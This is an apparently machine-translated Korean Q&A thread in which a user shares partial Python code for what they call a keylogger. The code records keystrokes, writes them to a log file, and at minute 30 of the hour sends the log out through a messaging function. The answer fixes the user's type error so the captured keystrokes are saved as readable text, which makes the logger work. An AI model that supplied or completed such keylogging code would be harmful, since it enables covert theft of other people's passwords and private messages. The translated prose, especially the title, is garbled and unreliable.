2017-01-04 3 views
0

데프file_input을 나열하지 :형식 오류 : 인수가 str에 있어야합니다() 쓰기 (기록)

now_time = datetime.datetime.now() 
w = open("LOG.txt", 'a') 
w.write(recorded) 
w.write("\n") 
w.write(now_time) 
w.write("--------------------------------------") 
w .close() 

경우 이름 == "주요"

while 1: 

    status = time.localtime() 
    result = [] 
    keyboard.press_and_release('space') 
    recorded = keyboard.record(until='enter') 
    file_input(recorded) 
    if (status.tm_min == 30): 
     f = open("LOG.txt", 'r') 
     file_content = f.read() 
     f.close() 
     send_simple_message(file_content) 

메신저는 파이썬에서 keylogger를 쓰려고 노력하고 있는데 어떻게 이런 문제를 해결할 수 있을까요?

그냥 기록 된 변수를 write()에 넣으면서 타입 에러가 발생하고 기록 된 변수 타입이리스트입니다. 그래서 join func을 사용해 보았지만 작동하지 않았다.

+0

질문은 매우 명확하지 않다 –

답변

0

w.write()을 사용하여 파일에 쓰려고하는데, 문자열 만 인수로 사용한다. now_time은 'datetime'유형이며 문자열이 아닙니다. 당신이 날짜를 포맷 할 필요가없는 경우, 당신은 단지 대신이 작업을 수행 할 수 있습니다

w.write(str(nowtime)) 

똑같은 이벤트의 목록입니다

w.write(recorded) 

recorded

와 함께, 당신은을 구성하는 데 사용할 필요가 문자열을 파일에 씁니다.

recorded = keyboard.record(until='enter') 
typedstr = " ".join(keyboard.get_typed_strings(recorded)) 

그런 다음, 당신이 할 수있는 file_input() 함수 내에서 : 예를 들어

w.write(typedstr) 
+0

일했다! 정말 감사합니다 – Gripex